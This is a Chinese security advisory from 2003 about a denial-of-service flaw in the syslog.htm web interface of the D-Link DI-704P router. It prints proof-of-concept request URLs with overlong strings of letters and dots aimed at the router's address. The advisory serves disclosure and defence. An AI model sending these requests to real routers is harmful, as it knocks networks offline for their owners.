发布日期：2003-05-26
更新日期：2003-06-02

受影响系统：

D-Link DI-704P

描述：

---

BUGTRAQ  ID: 7686

D-Link DI-704P是一款4口宽带路由器。

DI-704P的WEB接口包含的syslog.htm不正确处理用户提交的超长输入，远程攻击者可以利用这个漏洞对路由器进行拒绝服务攻击。

攻击者向WEB接口提交包含超长字符串的syslog.htm脚本请求，如向内部接口提如下URL：

http://192.168.0.1/syslog.htm?D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

上面的URL会使路由器进行如下DNS查询：

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@xxxx.xx.comcast.net

而此主机名不存在，最终路由器会应答"no such name"。由于DNS应答包比请求包大的多，攻击者可以提交多个类似请求，可导致路由器产生拒绝服务。

<*来源：Chris R （admin@securityindex.net）
  
  链接：http://www.securityindex.net/D-Link%20Advisory%20Local%20%20DoS.txt
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Chris R （admin@securityindex.net）提供了如下测试方法：

http://192.168.0.1/syslog.htm?
D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

and

http://192.168.0.1/syslog.htm?
D=.........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
....................

建议：

---

厂商补丁：

D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/products/broadband/di704p/

浏览次数：2701
严重程度：0（网友投票）